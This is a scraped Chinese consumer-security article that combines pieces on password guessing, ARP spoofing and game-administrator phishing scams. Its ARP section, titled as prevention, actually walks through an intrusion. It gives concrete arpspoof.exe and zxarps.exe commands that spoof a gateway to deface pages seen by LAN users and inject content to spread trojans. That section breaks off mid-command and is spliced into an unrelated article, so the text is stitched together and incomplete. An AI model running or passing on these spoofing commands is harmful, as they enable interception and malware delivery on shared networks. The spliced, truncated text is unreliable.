高危人群：密码设置简单的用户
损失程度：★★★★★
出没区域：各种网络账户皆有可能
特点：收集信息，猜解密码
个人信息也是虚拟财富
现在有那么一群别有用心的人，通过信息调查的形式，来获取个人用户的各种各样的详细资料，最主要的包括用户的姓名、移动电话、电子信箱、即时通讯等信息等。
这些人为何如此热心收集用户的个人信息呢？那是因为他们知道，在网络融入我们生活的今天，一条信息就可能存在一大笔虚拟财富。他们得到这些个人信息后，就会利用信息对用户的各种网络账号密码进行猜解，从而盗取用户的虚拟财富。
我们知道很多人为了让自己的密码信息容易记住，常常利用自己的名字拼音、电话号码、个人生日等作为密码来使用。可能有的人会说反正我的QQ里面既没有Q币，我也从来不玩什么网络游戏，这样网络盗贼就没有什么可以偷的！
其实虚拟财富并不简简单单局限于网络游戏账号，任何互联网中和个人信息相关的内容都属于虚拟财富的范围，那怕只是一份简简单单的电子邮件。WWW.ItcOMpUTer.Com.cn因此切不要小看这些所谓的虚拟财富，因为一封电子邮件的丢失就可以让你失去一份待遇优厚的工作。
真实案例再现
受害人：夏雨
损失金额：游戏币＋Q币≈300人民币
某大学的夏雨同学快毕业了，他为了找到合适的职位，在某个人才交易网站进行了注册，并且上传了大量个人的相关信息。
不久之后的一天，当夏雨登录QQ游戏后，发现自己以前充值的Q币和游戏币居然不翼而飞了。他心想一定是中了木马，于是马上通过杀毒软件和手工方法对系统进行检测，结果是什么都没有。
那么到底是什么原因呢？后来有专家为他分析认，发现他设置的QQ密码非常简单，就是他的生日。同时，他因为找工作原因，在网络上公布了个人信息以及QQ号码。网络盗贼极有可能通过他的资料猜解出他的QQ密码，导致他财产的损失。
案例剖析
在本案例中我们可以发现，利用个人信息进行猜解的盗窃行为，并不会直接引起网络用户的注意。我们知道无论是利用什么身份来进行网络诈骗，都有可能引起用户的警惕。但是这些用户信息猜解的方法不会引起用户任何警觉，因为网络盗贼并不会和用户正面接触。
由于很多用户喜欢将姓名拼音、生日或者电话号码作为密码，虽然容易记忆，但是对网络盗贼来说，也降低了猜解的难度。网络盗贼利用获取的信息再简单地进行几次测试，就可以轻易得到所需要的网络账户，然后偷走受害人的虚拟财富，为自己非法获取利益。
三法则防范信息被猜解
针对网络盗贼利用各种信息渠道收集个人信息，对个人用户的网络游戏账号、即时通讯软件账号等进行猜解的行为，我们可以利用下面三条法则来进行相应的防范操作。
第一法则：不要所有的账号一个密码
现在有很多网络服务，很多朋友申请了这些服务后，为了便于记忆，往往采用的是“一号通”的方式，这样就为网络骗子的猜解提供了很多的便利。网络盗贼一旦破解了用户的某个账号密码，那么将极有可能导致用户丢失所有的账号。所以，我们应该尽量保证一个账号一个密码。
第二法则：保护好个人信息
很多人不轻易的将自己所有的资料发布到网络中。有心之人只要运用搜索引擎就可以轻易得到这些资料，从而造成较大的损失。因此在网络中我们一定要特别注意自己的个人信息，在一些网站需要提交个人信息的时候，不妨采用虚虚实实的方式，这样即使是被他人盗取也不会暴露自己的真实信息。
第三法则：密码设置有技巧
近日某网站公布了一份采用“暴力字母破解”方式获取密码的“时间列表”，列表中按照密码长度、密码组合数量以及破解攻击模式来进行破解的。该列表中的数据表明，如果网络骗子用一台双核的PC来破解密码的话，最简单的6位数字密码瞬间就可以搞定。而使用“数字＋大小写字母＋标点”的形式的话，少则需要22个小时多则需要23年的时间。
由此我们可以看出，不在特定情况下千万别使用6位密码。考虑到容易记忆以及长度，“8位数字＋大小写字母”这种密码设置是最安全、方便的选择。同时密码应避免与个人资料有关系，不要选用诸如身份证号码、出生日期、电话号码等作为密码。
如何防止arp欺骗
近期一种新型的“地址解析协议欺骗”（简称：ARP欺骗）攻击手段正在校园网中扩散，严重影响了包括校园网的各种类型局域网的正常运行。黑客通过伪造一个假的网关进行木马的散播，让局域网内的用户一上网就会连接有木马的地址，而用户唯一的感觉只是网络不畅通。那么ARP 欺骗是怎样的一种黑客攻击手段？普通的用户又该如何防范ARP 欺骗攻击呢？
“ARP 欺骗”的方式和原理
从影响网络连接通畅的方式来看，ARP 欺骗大概可以分为两种。一种是对路由器ARP表的欺骗，这种方法可以破坏系统的ARP缓存表，从而造成内外IP地址的混乱。另一种是对局域网里面计算机的网关欺骗，让内网计算机系统的数据包通过假网关来发送。
第一种ARP 欺骗的原理是截获网关数据。它通知路由器一系列错误的内网MAC地址，并按照一定的频率不断进行地址的更换，使真实的地址信息无法通过更新保存在路由器中，结果路由器的所有数据只能发送给错误的MAC地址，从而造成计算机访问黑客精心构建的网络陷阱。
第二种ARP 欺骗的原理是伪造网关。它的原理是建立假网关，让被它欺骗的计算机向假网关发数据，而不是通过正常的路由器途径上网。在用户的角度看来，就是上不了网了以及网络掉线了，这样会给用户造成系统网关出错的假象。
如何利用“ARP 欺骗”入侵
黑客要进行ARP 欺骗入侵只需要一个前提条件，就是进行入侵的计算机和被攻击的计算机要在一个局域网的网段中。由于ARP 欺骗是通过数据包进行欺骗的，所以在进行操作以前要在本地计算机安装一个驱动程序WinPcap（图1）。
打开系统的命令提示符命令，并切换到利用工具所在的目录，接着执行利用工具命令：arpspoof.exe /n，然后会生成一个文本文件。现在打开这个文本文件后按照自己的需求进行编辑，比如可以将“Hack by cooldiyer”改为“该系统已经被我成功入侵！”（图2）。
在命令提示符窗口输入命令：ArpSpoof 192.168.1.6 192.168.1.3 80 2 1 /r job.txt，其中192.168.1.6表示入侵计算机的IP地址，192.168.1.3表示被入侵计算机的IP地址，80表示用于欺骗的远程端口。
后面的相关参数设置，用户应该根据自己网络网关的实际类型（例如有些网关地址为192.168.0.1，有些则是192.168. 110.1）情况进行设置。当准确键入以上命令后回车，程序就可以进行ARP 欺骗攻击（图3）。当其他用户访问这台服务器的80端口后，从浏览器看到的就是我们文本文件中的内容。
刚才只是利用ARP 欺骗进行了网站攻击，现在利用另一款欺骗工具进行木马传播。在命令提示符窗口查看ARP 欺骗工具zxarps.exe的使用方法，然后键入命令：zxarps.exe -idx 0 -ip 192.168.1.7-192.168. 1.255 -port 80 -insert “
如何防止网络财富被盗
网络游戏、聊天工具和各种网络服务中流通的虚拟货币、虚拟物品等又被人称为虚拟财富，它已经可以和现实中的钱相互兑换，这也让它们产生了现实的价值。同时存在一群网络盗贼，他们对大家的虚拟财富虎视眈眈。虽然大家对虚拟财富小心谨慎，但是又找不到很好的方法来防范，造成了虚拟财富被盗的情况屡屡发生。当人们遗失虚拟财富后，总是懊恼不已，痛骂盗贼的卑鄙无耻。我们通过一些真实的案例来揭露盗贼使用的盗窃方法，让我们学会如何将虚拟财富保护好。
高危人群：网络新手 损失程度：★★★★★
出没区域：《魔兽世界》等主流网游 特点：名为馈赠，实则盗窃
偷的就是虚拟财富
由于目前网络游戏的盛行，虚拟财产在很大程度上就是指网络游戏空间中存在的财物，包括游戏账号的等级、游戏货币、游戏人物拥有的各种装备等等，这些虚拟财产在一定条件下可以转换成现实生活中的财产。
因为网络游戏的火爆，也增加了虚拟财富的火爆程度。在网上我们也随处可见各种虚拟财富的交易，90%以上的网络玩家都不同程度地参与了各种形式的虚拟财富交易。不久前，海口一名名叫阿海的高中生利用放假时间，瞒着家人以2500元的价格向网游中的“战友”购买了一把“屠龙刀”和一枚“戒指”，由此我们也可以看到虚拟财产在现实社会中的实际价值。
既然虚拟财富这么有价值，那么就有不安好心的人对它虎视眈眈。导致了虚拟财富被盗事件屡屡发生。在我们的调查数据中，40%以上的玩家曾经一次或者多次被盗取虚拟财富。
在网络盗贼使用的手段中，最常见的就是网络骗子冒充游戏中的“管理员”，向大家发送诸如中奖、超值服务、账号维护等虚假消息，让玩家向他提供账号、密码。只要玩家稍微疏忽大意就会上当受骗。后果就是游戏中的装备、虚拟货币被洗劫一空，让你的财富变成他的财富。
为何网络骗子喜欢冒充“管理员”，那是因为管理员在这些游戏中具有举足轻重的作用，因为他们面向玩家，是厂商和玩家沟通的一个重要桥梁，通常管理员会第一时间通知各种新年大优惠、公司周年庆、网络系统升级等信息。久而久之，玩家对带有“管理员”这个称号的人都相当信任，这也给网络骗子提供了空间。
有数据表明，95%以上的网络游戏玩家都曾经收到过这些虚假消息，而在收到这些消息的玩家中，又有20%会上当受骗，导致游戏装备游戏币以及账号的丢失。
真实案例再现
受害人：曾震
损失金额：50000G币＋上网时间＋耗费精力≈3000元人民币
2006年8月26日，《魔兽世界》的玩家小曾收到一封署名为“魔兽世界管理员”的电子邮件。邮件首先声称“由于游戏密码保护服务在功能上的不完善，加之部分用户遗忘了早期注册的密码保护资料，致使密码丢失后不能及时取回。为了解决日益严重的号码被盗问题，最大限度避免木马病毒等给游戏玩家带来的伤害，我们将在部分号码段试行新的实名密码保护系统”；接着让小曾填写一张和自己个人信息相关的表格，并且回复到指定的官方信箱（图1）。
邮件末尾还特别提醒用户“填写此表格并成功递交，即表示您保证以上所填内容完全准确，并同意任意一项内容失效均有可能导致丧失权利。如果您的资料不正确，我们将不做任何回执也不再另行通知”。
于是小曾立即按照邮件内容填写了自己的相关资料并发送到指定信箱，结果第二天上网他就发现自己魔兽账户中的五万G币居然不翼而飞了（G币为《魔兽世界》里面的虚拟货币单位，按照网上最低价格，1G币＝0.05元人民币）。
案例剖析
在本案例中除了诈骗者利欲熏心以外，游戏玩家自身也存在很多原因。首先这些玩家上网的目的就是为网络游戏而来，虽然各个网站常常刊登一些网络诈骗的介绍，但是由于小曾每天只是简单的处于“两耳不闻窗外事，一心只在游戏中”的状态中，所以很容易被诈骗者的花言巧语甚至恐吓所欺骗。
其次很多游戏玩家网络安全意识不强，虽然知道网络中账户被盗常常发生，但是过于相信所谓的“官方管理员”以及“官方的客服邮箱”等信息。所以就盲目的相信邮件中的内容并填写了自己的相关资料，殊不知这些信息都是可以轻易的进行伪造的。
我们通过在一些C2C交易平台进行搜索，发现在淘宝网最低可以用5分钱买到一个G币，易趣网最低可以用6分钱买到一个G币（图2）。甚至有人通过购买低价的点卡，直接到《魔兽世界》游戏里面大量的收购金币，然后拿到网上进行贩卖从而获取差价。
而购买者也不管这些购买的游戏币是如何获取的，正是由于存在着各种各样的利益关系，游戏账户被盗的事件才频频发生。
四法则防范“管理员”偷钱
针对网络骗子利用“管理员”身份进行诈骗的手段，我们可以利用
下面四条法则进行防范。
第一法则：地址定位法
通常，管理员都是有固定的使用账号，不可能时时刻刻更换自己的账号。例如腾讯QQ的网络管理员的账号就是10000，可是很多网络骗子就是利用这种特点，将自己账号的昵称改为10000，以此来鱼目混珠混淆视听。所以在面对这些所谓的“网络管理员”的时候，用户首先通过账号来分辨真假，接着利用其他的手段比如对骗子的IP地址进行分析。
如果一个腾讯的网络管理员的IP地址对应的是北京，那么他肯定就是一个“李鬼”，因为地球人都知道腾讯公司在深圳。
第二法则：身份核实法
本法则是针对官方论坛里面利用短消息来诈骗的防范方法。首先我们要查看该人的论坛级别，因为发布这些信息的一般都是论坛系统的总版主或总管理员。另外我们可以查看它的ID，总版主或总管理员的论坛ID都会很靠前的。
其次既然是有活动的话，那么肯定会在论坛的显著位置告知大众，不可能把有奖活动搞得那么偷偷摸摸的。
第三法则：IP地址验身法
本法则是针对利用电子邮件进行诈骗的应对方法，最简单的方法还是查看邮件的原始信息内容，找到“X-Originating-IP”这个项目内容后面的IP地址，它所代表的就是发信人的IP地址。然后再通过搜索引擎对这个IP地址所对应的实际地址进行查看，从而分析判断这个“网络管理员”身份的真假。
第四法则：官方验证法
本法则是总的指导方针。当然无论面对哪种诈骗方法，我们最好的方法就是直接通过官方网站的客服热线进行确认，这样网络骗子的丑恶嘴脸就会立即大白于天下。
当然这一切的前提是用户拨打的为真正的客服电话，而不是网络骗子钓鱼网站里面设置的虚假的客服电话。还有要提醒大家的是，任何网络公司都不会以任何借口、任何方式让用户提供账户密码、身份证件、密码保护资料等个人信息。
From:http://www.itcomputer.com.cn/Article/Network/201309/430.html